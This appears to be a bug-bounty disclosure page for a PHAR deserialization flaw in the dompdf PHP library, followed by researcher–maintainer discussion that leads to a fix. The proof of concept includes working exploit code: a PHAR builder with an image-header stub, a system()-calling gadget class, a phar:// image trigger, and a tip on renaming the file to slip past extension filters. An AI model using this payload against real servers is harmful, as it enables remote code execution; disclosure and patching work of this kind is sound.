Deserialization of Untrusted Data in dompdf/dompdf

Valid

Reported on

Sep 20th 2021


Description

DomPDF is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_get_contents() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when DOMPdf is used with frameworks with documented POP chains like Laravel / vulnerable developer code.

Proof of Concept

  1. Setup the following code in /var/www/html: vuln.php represents our use of DOMPdf functions and phar-poc.php represents code with a vulnerable POP chain.
// vuln.php
<?php
// Include autoloader 
require_once 'dompdf/autoload.inc.php'; 

// Include vulnerable objects
include("phar-poc.php");

// Reference the Dompdf namespace 
use Dompdf\Dompdf; 
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);
$dompdf = new Dompdf($options);

// Load HTML content 
$dompdf->loadHtml('<img src="phar://test.phar">'); 
// (Optional) Setup the paper size and orientation 
$dompdf->setPaper('A4', 'landscape'); 
 
// Render the HTML as PDF 
$dompdf->render(); 
 
// Output the generated PDF to Browser 
//$dompdf->stream(); 

?>
// phar-poc.php
<?php

class AnyClass {
        public $data = null;
        public function __construct($data) {
                $this->data = $data;
        }

        function __destruct() {
                system($this->data);
        }
}
  1. As an attacker, we generate our PHAR payload using the following exploit script:
<?php

class AnyClass {
        public $data = null;
        public function __construct($data) {
                $this->data = $data;
        }

        function __destruct() {
                system($this->data);
        }
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
  1. Generate with:
php --define phar.readonly=0 create_phar.php

and execute vuln.php with php vuln.php, you should see whoami being executed

Note that after generating the PHAR exploit code, an attacker can rename it to whatever extension or filename they want, it is possible to rename it test.phar to test.png to bypass any file extension check by the developer and specify phar://test.png in the src attribute.

Impact

This vulnerability is capable of remote code execution if DOMPdf is used with frameworks or developer code with vulnerable POP chains.

Recommended Fix:

Filter the phar:// protocol.

Occurrences

Lack of protocol filtration for phar:// before passing into file_get_contents.

We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago
We have contacted a member of the dompdf team and are waiting to hear back a year ago
dompdf/dompdf maintainer
a year ago

We have received the report and are reviewing it.

haxatron
a year ago

Researcher


Hi @maintainer, apologies if I am bothering you. May I know the progress of the review? If you need more information, do not hesitate to contact me.

dompdf/dompdf maintainer
a year ago

To confirm I understand the issue let me summarize. Dompdf itself is not vulnerable, but when run in the context of a vulnerable class it can be used as the vector for exploiting that class. Is that correct?

Can you confirm the version of Dompdf you have tested this vulnerability against?

In my testing it appears that Dompdf version 0.8.5 and earlier can be used for exploitation but that later releases can not. The reason the later releases are not a viable vector is that the phar:// URI is interpreted as a local file and so go through additional validation. The additional validation for local files runs the URI through realpath and compares the result against the allowed local path(s) specified by the chroot option.

dompdf/dompdf maintainer
a year ago

Also, no bother I just needed additional time to review.

haxatron
a year ago

Researcher


Hi there,

Q1. I used the latest available version on GitHub

Q2. Yes, Dompdf itself is not vulnerable but can be used as a vector, however there may be vulnerable classes in Dompdf itself.

Q3. The conditions for exploitation is that:

$options->set('isRemoteEnabled', true), allow_furl_open and the ability to upload files

Although phar:// URI is intepreted as local file it is not subjected to the same checks as a local file this is because in this line https://github.com/dompdf/dompdf/blob/master/src/Image/Cache.php#L68

$remote = ($protocol && $protocol !== "file://") || ($parsed_url['protocol'] != "");

phar:// !== file:// therefore $remote = true.

So actually chroot option is not needed

haxatron modified the report
a year ago
haxatron
a year ago

Researcher


I have edited the vuln.php to reflect the above (chroot option not needed)

haxatron
a year ago

Researcher


@maintainer if you need more info feel free to ask

dompdf/dompdf maintainer
10 months ago

I'm still unable to reproduce using the exact sample you provided. $protocol is the protocol of the loaded HTML document. When you use $dompdf->loadHtml() that value is empty. As a result the logic you cited determines that the file is not remote ($protocol and $parsed_url['protocol'] are both empty).

However, current version does appear to be vulnerable in the following scenarios:

First scenario, user loads an HTML document using a remote protocol:

$dompdf->loadHtmlFile('http://example.com/vuln.html'); 

and that remote document references a phar on the local system.

<img src="phar://test.phar">

Second scenario, user specifically sets the document protocol to a remote protocol after loading the document.

// after loadHtml is called ...
$dompdf->setProtocol('http://');

Third scenario, HTML document has a base href that is remote:

$dompdf->loadHtml('<base href="http://example.com" /><img src="phar:///Users/datho/Documents/code/dompdf/test/security/2564/test.phar">');
haxatron
10 months ago

Researcher


Insertion of the following debug line:

file_put_contents("/var/www/html/remote.txt", $remote . " " . $parsed_url['protocol'], FILE_APPEND);

Directly after Line 68 results in:

1 phar://

I made a mistake in saying that $protocol = phar://. Instead $parsed_url['protocol'] is the one that evaluates to phar:// and:

$parsed_url['protocol'] != "" will result in phar:// !== "", which evaluates to true

Therefore since the || check was used, $remote still evaluates to true.

However, I still do not see how you aren't able to reproduce this bug, do note that allow_furl_open needs to be on. I will try to look into better ways for you to be able to reproduce my sample.

haxatron
10 months ago

Researcher


@maintainer, using your scenario 3 and another debug line I inserted:

Debug line:

file_put_contents("/var/www/html/remote.txt", $remote . " " . $protocol . " " . $parsed_url['protocol'], FILE_APPEND);

I get:

1 http:// phar://

and $remote = 1. So essentially scenario 3 will give the same result as my original scenario which confirms the existence of the bug.

haxatron
10 months ago

Researcher


Hi there, the scenario 3 you described actually reveals another vulnerability within Dompdf. To prevent the cluttering of this report, I have included another POC and details on the second report. Hopefully this is fine with you 😃

dompdf/dompdf maintainer
10 months ago

A separate report for the other issue is fine.

I was finally able to reproduce your sample. The issue is that I was attempting to use an absolute path (phar:///path/to/test.phar) instead of a relative one (phar://test.phar). It looks like there's a bug in the PHP parse_url function, which returns false when an absolute path is used with the phar protocol.

dompdf/dompdf maintainer validated this vulnerability 10 months ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
haxatron
10 months ago

Researcher


parse_url parses relative paths on my Linux machine just fine. Perhaps there is some difference in the way parse_url parses URLs on Windows vs Linux.

Anyways, thank you for reviewing this report! 🙂

dompdf/dompdf maintainer
10 months ago

Relative paths are parsed fine o my machine as well. I think it's just absolute phar paths that fail.

Thanks for the report. We'll work on this for the 2.0 release, which we will move up in the development timeline.

Jamie Slome
8 months ago

Admin


Any news on a patch and release for this? If so, can we mark the fix against the report, and we can go ahead and publish a CVE! ♥️

dompdf/dompdf maintainer
8 months ago

We’re actively working on this (and the other security issues) now. Small team so focusing resources is a challenge. Would appreciate a bit more time to patch. Though I understand if you want to move forward.

Jamie Slome
8 months ago

Admin


Similar to my message on the other report, please take your time.

Was just checking to see the state of the report - let me know if you need any support!

dompdf/dompdf maintainer
4 months ago

This should be addressed in commit ee5f3fd7.

FYI, in reviewing this issue I realized that it had previously been reported in 2019 through pull request #1903 though without any details. It is unfortunate that the vulnerability was not prioritized at the time and, ultimately, got lost as no updates came in from the OP.

Jamie Slome
4 months ago

Admin


Great, are you able to mark the report as fixed?

haxatron
4 months ago

Researcher


LGTM!

Jamie Slome
4 months ago

Admin


@maintainer - please mark as fixed using the button below 👍

Jamie Slome
4 months ago

Admin


Is this report also waiting for the release of a patch like the other report in question?

Brian Sweeney
4 months ago

It is. I'll be sure to mark the reports as fixed once everything is out.

dompdf/dompdf maintainer confirmed that a fix has been merged on 99aeec a month ago
The fix bounty has been dropped
Helpers.php#L853L871 has been validated
to join this conversation